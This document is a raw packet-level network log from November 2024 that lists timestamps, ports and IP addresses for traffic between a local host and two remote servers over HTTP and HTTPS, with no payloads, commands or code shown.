Nov 28, 2024 00:19:20.329302073 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.329332113 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.329411030 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.329411030 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.329570055 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.329587936 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.351485968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.351635933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.351639986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.351712942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.352000952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.352123022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.352264881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.352385044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.352556944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.353724957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.353787899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.353816986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.353852034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.355109930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.355210066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.355241060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.355496883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.356561899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.356580973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.356656075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.356656075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.357898951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.357965946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.358345985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.359260082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.359368086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.359395981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.360256910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.360660076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.360764027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.360774040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.360845089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.362068892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.362121105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.362171888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.362567902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.363461018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.363475084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.363565922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.364826918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.364947081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.365067005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.366274118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.366427898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.366446018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.367168903 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.367706060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.367719889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.367834091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.369050980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.369133949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.369204044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.369682074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.370440006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.370568991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.370919943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.371810913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.371957064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.371984959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.373208046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.373271942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.373308897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.373452902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.374653101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.374665976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.374685049 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.374715090 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.374737978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.374866962 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.375927925 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.375929117 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.375938892 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.375948906 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.375972033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.376034975 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.376079082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.376125097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.376198053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.376203060 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.376216888 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.377351046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.377377033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.377443075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.377443075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.377918959 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.377927065 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.378281116 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.379158974 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.379158974 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.379172087 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.379180908 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.379302025 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.379422903 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.379435062 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.380112886 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.380120039 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.381616116 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.381726027 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.381737947 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.390496016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.390547991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.390552998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.390733957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.390893936 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.390939951 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.391066074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.391133070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.392090082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.392188072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.392215014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.392314911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.393376112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.393481970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.393508911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.393578053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.394727945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.394870996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.395013094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.396126032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.396137953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.396282911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.397320032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.397429943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.397495031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.397550106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.398624897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.398710966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.398736000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.398781061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.399969101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.400062084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.400105000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.400235891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.401276112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.401374102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.401448011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.401601076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.402606964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.402698994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.402846098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.403948069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.403973103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.404000998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.404120922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.405189037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.405318022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.405344963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.405437946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.406501055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.406557083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.406605005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.406683922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.407807112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.407932043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.407946110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.408044100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.409145117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.409244061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.409275055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.409393072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.410427094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.410523891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.410576105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.410748959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.411799908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.411905050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.411942005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.412039042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.413041115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.413158894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.413214922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.413376093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.414375067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.414459944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.414486885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.414577961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.415663004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.415747881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.415771008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.415837049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.416980982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.417032957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.417056084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.417119026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.418292999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.418345928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.418365002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.418442011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.419584990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.419682980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.419704914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.419923067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.439826965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.439899921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.440030098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.440134048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.440443039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.440546036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.440562963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.440644026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.441745043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.441843033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.442245007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.442403078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.442560911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.443540096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.443665028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.443703890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.443814039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.444861889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.444924116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.444952965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.445039988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.446173906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.446270943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.446299076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.446391106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.447479010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.447490931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.447644949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.448765993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.448868036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.448874950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.448945045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.450074911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.450155973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.450185061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.450237036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.451417923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.451443911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.451476097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.451545000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.553289890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.553352118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.553466082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.553466082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.553607941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.553745031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.553771973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.553884983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.554900885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.555037022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.555063963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.555135965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.556365967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.556379080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.556546926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.557562113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.557666063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.557693958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.557805061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.558892965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.558947086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.558974981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.559115887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.560223103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.560250044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.560273886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.560338974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.561470985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.561556101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.561656952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.561727047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.562827110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.562910080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.562911987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.563011885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.564074039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.564138889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.564155102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.564277887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.565397024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.565479994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.565532923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.565608978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.566751003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.566771030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.566813946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.566813946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.568031073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.568131924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.568159103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.568221092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.569304943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.569422960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.569427967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.569523096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.570636988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.570728064 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.570785046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.570827961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.571927071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.572038889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.572103024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.572218895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.573262930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.573369026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.573394060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.573585033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.574577093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.574692965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.574860096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.575958014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.576015949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.576041937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.576160908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.577179909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.577286005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.577306986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.577418089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.578470945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.578613043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.591986895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.592036009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.592061043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.592119932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.592474937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.592612028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.592791080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.592916012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.593447924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.593534946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.593564987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.593836069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.594719887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.594826937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.594856024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.594926119 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.596040964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.596122980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.596151114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.596246958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.597282887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.597384930 CET	49714	80	192.168.2.6	185.215.113.206
